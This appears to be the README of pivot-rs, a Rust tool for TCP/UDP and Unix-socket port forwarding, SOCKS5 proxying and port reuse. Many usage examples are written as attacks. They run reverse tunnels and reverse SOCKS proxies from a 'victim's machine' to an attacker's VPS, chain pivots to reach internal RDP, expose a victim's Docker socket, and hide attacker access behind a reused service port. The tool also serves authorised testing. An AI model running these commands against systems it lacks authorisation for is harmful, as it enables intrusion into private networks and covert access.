Repository files navigation

English |简体中文

pivot-rs is a lightweight port-forwarding and socks proxy tool written in Rust 🦀

The project currently only releases binaries for the following architectures (based on GitHub Actions):

• x86_64-unknown-linux-gnu
• x86_64-apple-darwin
• aarch64-apple-darwin
• x86_64-pc-windows-msvc

x86_64-unknown-linux-gnu andx86_64-pc-windows-msvc will have an additional UPX compressed binary file

If the architecture you need is not in the list above, you can build it yourself.

git clone https://github.com/X1r0z/pivot-rscd pivot-rscargo build --release

• TCP/UDP port forwarding
• Unix domain socket forwarding (e.g./var/run/docker.sock)
• Socks5 proxy (no/with authentication)
• TCP port reuse withSO_REUSEADDR andSO_REUSEPORT
• Multi layer proxy support
• TLS encryption support

pivot-rs has three modes: port forwarding, socks proxy and port reuse mode, corresponding to thefwd,proxy andreuse parameters respectively.

$ ./pivot -hPivot: Port-Forwarding and Proxy ToolUsage: pivot<COMMAND>Commands:  fwd    Port forwarding mode  proxy  Socks proxy mode  reuse  Port reuse modehelp   Print this message or thehelp of the given subcommand(s)Options:  -h, --help     Printhelp  -V, --version  Print version

Port forwarding mode

$ ./pivot fwd -hPort forwarding modeUsage: pivot fwd [OPTIONS]Options:  -l, --locals<LOCALS>            Local listen IP address, format: [+][IP:]PORT  -r, --remotes<REMOTES>          Remote connect IP address, format: [+]IP:PORT  -s, --socket<SOCKET>            Unix domain socket path  -p, --protocol<PROTOCOL>        Forward Protocol [default: tcp] [possible values: tcp, udp]  -c, --connections<CONNECTIONS>  Maximum connections [default: 32]  -h, --help                       Printhelp (see more with'--help')

Socks proxy mode

$ ./pivot proxy -hSocks proxy modeUsage: pivot proxy [OPTIONS]Options:  -l, --locals<LOCALS>            Local listen IP address, format: [+][IP:]PORT  -r, --remote<REMOTE>            Reverse server IP address, format: [+]IP:PORT  -a, --auth<AUTH>                Authentication info, format: user:pass (otherfor random)  -c, --connections<CONNECTIONS>  Maximum connections [default: 32]  -h, --help                       Printhelp

Port reuse mode

$ ./pivot reuse -hPort reuse modeUsage: pivot reuse [OPTIONS] --local<LOCAL> --remote<REMOTE> --external<EXTERNAL>Options:  -l, --local<LOCAL>        Local reuse IP address, format: IP:PORT  -r, --remote<REMOTE>      Remote redirect IP address, format: IP:PORT  -f, --fallback<FALLBACK>  Fallback IP address, format: IP:PORT  -e, --external<EXTERNAL>  External IP address, format: IP  -t, --timeout<TIMEOUT>    Timeout to stop port reuse  -h, --help                 Printhelp

Listen on0.0.0.0:8888 and0.0.0.0:9999, forward traffic between them.

specify127.0.0.1:PORT to listen on local address

./pivot fwd -l 8888 -l 9999

Listen on0.0.0.0:8888, forward traffic to a remote address.

./pivot fwd -l 8888 -r 10.0.0.1:9999

Connect10.0.0.1:8888 and10.0.0.2:9999, forward traffic between them.

./pivot fwd -r 10.0.0.1:8888 -r 10.0.0.1:9999

In this mode, specifying-c can set the maximum number of TCP connections (default is 32)

A basic example of accessing an intranet address through port forwarding.

# on attacker's machine./pivot fwd -l 8888 -l 9999# on victim's machine./pivot fwd -r 10.0.0.1:3389 -r vps:8888# now attacker can access 10.0.0.1:3389 through vps:9999

A complex example, multi-layer forwarding in the intranet.

# on machine A (10.0.0.1, 172.16.0.1)./pivot fwd -r 10.0.0.10:3389 -l 7777# on machine B (172.16.0.2, 192.168.1.1)./pivot fwd -r 172.16.0.1:7777 -r 192.168.1.2:8888# on machine C (192.168.1.2, DMZ)./pivot fwd -l 8888 -r vps:9999# on attacker's machine./pivot fwd -l 9999 -l 33890# now attacker can access 10.0.0.10:3389 through vps:33890

Note that the command on machine B need to be executed last. Because this mode will check the connectivity between the two remote addresses.

The usage of UDP port forwarding is similar to TCP, simply add-p udp parameter.

This feature may be unstable.

Note that when usingreverse UDP port forwarding, a handshake packet will be sent to keep the client address.

Example:

# on attacker's machine./pivot fwd -l 8888 -l 9999 -p udp# on victim's machine./pivot fwd -r 10.0.0.1:53 -r vps:8888 -p udp

The victim's machine will send a 4-byte handshake packet (with all 0s) tovps:8888, which is the attacker's machine.

The attacker's machine will remember the client address, and forward the traffic to it when user connects tovps:9999.

Because of the handshake packet, the parameters must be in order and cannot be swapped.

Another example:

# on machine A (10.0.0.1, 192.168.1.1, intranet)./pivot fwd -r 10.0.0.10:53 -l 7777 -p udp# on machine B (192.168.1.2, DMZ)./pivot fwd -r 192.168.1.1:7777 -r vps:8888 -p udp# this command need to be executed last# on attacker's machine./pivot fwd -l 8888 -l 9999 -p udp

The handshake packet will be sent from machine B to the attacker's machine (port 8888). Users can connect to the intranet through port 9999.

This feature is only supported on Linux and macOS

A Unix domain socket is a IPC (Inter-Process Communication) method that allows data to be exchanged between processes running on the same machine.

/var/run/docker.sock and/var/run/php-fpm.sock are common Unix domain sockets.

You can forward Unix domain socket to a TCP port.

./pivot fwd -s /var/run/docker.sock -l 4444# get docker versioncurl http://127.0.0.1:4444/version

or in the reverse mode.

# on victim's machine./pivot fwd -s /var/run/docker.sock -r vps:4444# on attacker's machine./pivot fwd -l 4444 -l 5555# get docker versioncurl http://vps:5555/version

pivot-rs supports socks5 proxy (no/with authentication)

Forward socks proxy

./pivot proxy -l 1080

Reverse socks proxy

# on attacker's machine./pivot proxy -l 7777 -l 8888# The first -l specifies the control port# The second -l specifies the proxy port# on victim's machine./pivot proxy -r vps:7777# now attacker can use socks proxy on vps:8888

The port 7777 in the above example is called the control port, which uses TCP multiplexing technology to ensure that multiple TCP streams (i.e., multiple socks proxy requests) can be processed within a single TCP long connection.

Therefore, the order of ports 7777 and 8888cannot be reversed

In addition, in this scenario, the victim machine can specify the-c parameter to set the maximum number of connections (the default is 32)

The maximum number of connections here refers to the maximum number of streams processed simultaneously in the TCP multiplexing scenario

To enable authentication, simply adduser:pass after the-a flag.

./pivot proxy -l 1080 -a user:pass

pivot-rs will generate a random username and password if you pass a string to-a flag which does not have theuser:pass format.

./pivot proxy -l 1080 -a rand# the random username and password will be output to the console

pivot-rs supports forwarding unauthenticated socks requests to authenticated socks proxies

Currently, Chrome, Edge and FireFox browsers do not support authenticated socks proxies, so this method can be used to bypass restrictions while ensuring the security of socks proxies.

# vps:1080 requires authentication (user:pass)# listen to port 1080 and forward socks requests to vps:1080 with authentication./pivot proxy -l 1080 -r vps:1080 -a user:pass# now the browser can use 127.0.0.1:1080 as a socks proxy (no authentication required)# authentication info will be forwarded automatically

TLS encryption is supported for TCP, Unix domain socket forwarding and socks proxy.

To enable encryption, simple add+ sign in front of the address or port.

For ease of use, the server uses a self-signed TLS certificate by default, and the client trusts all certificates (no verify).

Example of a TLS encrypted TCP port forwarding.

# on attacker's machine./pivot fwd -l +7777 -l 33890# on victim's machine./pivot fwd -r 127.0.0.1:3389 -r +vps:7777# now attacker can access 3389 through vps:33890, and the traffic on port 7777 will be encrypted

Example of a TLS encrypted reverse socks proxy.

# on attacker's machine./pivot proxy -l +7777 -l 8888# on victim's machine./pivot proxy -r +vps:7777# now attacker can use socks proxy on vps:8888, and the traffic on port 7777 will be encrypted

pivot-rs supports TCP port reuse withSO_REUSEADDR andSO_REUSEPORT options.

The behavior of port reuse differs from operation systems.

In Windows, there is onlySO_REUSEADDR option, which allows multiple sockets to bind to the same address and port. But there are some limitations, depending on the account performing port reuse, and the ip address you are binding to. You can refer to the following link for details.

https://learn.microsoft.com/en-us/windows/win32/winsock/using-so-reuseaddr-and-so-exclusiveaddruse

Linux implements port reuse through the two optionsSO_REUSEADDR andSO_REUSEPORT, the principle is to bind different IP addresses.

0.0.0.0 is mutually exclusive with any other address, that is, if a program listens on the0.0.0.0:80 address, it cannot reuse port 80 (and vice versa).

There is another scenario where port reuse with exactly the same IP address can be achieved, that is, a program itself sets theSO_REUSEPORT option, and the uid of the user executing the program is the same as the uid of the user executing port reuse.

The port reuse logic of macOS is similar to that of Linux, but the difference is that0.0.0.0 is no longer mutually exclusive. Even if a program has bound to0.0.0.0, other programs can still bind to a specific IP address (and vice versa).

To reuse a port, you need to specify the local address, remote address, fallback address and external address.

-l specify the local address you are reusing

-r specify the remote address you are redirecting to

-f specify the fallback address that other people who are not from the external address will connect to (e.g. normal users)

-e specify the external address of attacker's machine, which will connect to the remote address through port reuse mechanism

For example, reuse the port 8000

./pivot reuse -l 192.168.1.1:8000 -r 10.0.0.1:22 -f 127.0.0.1:8000 -e 1.2.3.4

Attackers from external address1.2.3.4 will connect to10.0.0.1:22 through192.168.1.1:8000, the normal users will fallback to127.0.0.1:8000 (prevent the service on port 8000 being affected)

It is not recommended to reuse ports on0.0.0.0 address, because it will make the fallback address useless (the fallback connection will still go through the port reuse process, keep looping, and eventually crash)

Sometimes the fallback address is not necessary, you can omit it and set a timeout.

./pivot reuse -l 192.168.1.1:8000 -r 10.0.0.1:22 -e 1.2.3.4 -t 10

The timeout means stopping the reuse listener after a specific time (10s), and continuing to forward the alive connections.

https://github.com/EddieIvan01/iox

https://github.com/p1d3er/port_reuse

https://ph4ntonn.github.io/port-reuse

https://saucer-man.com/operation_and_maintenance/586.html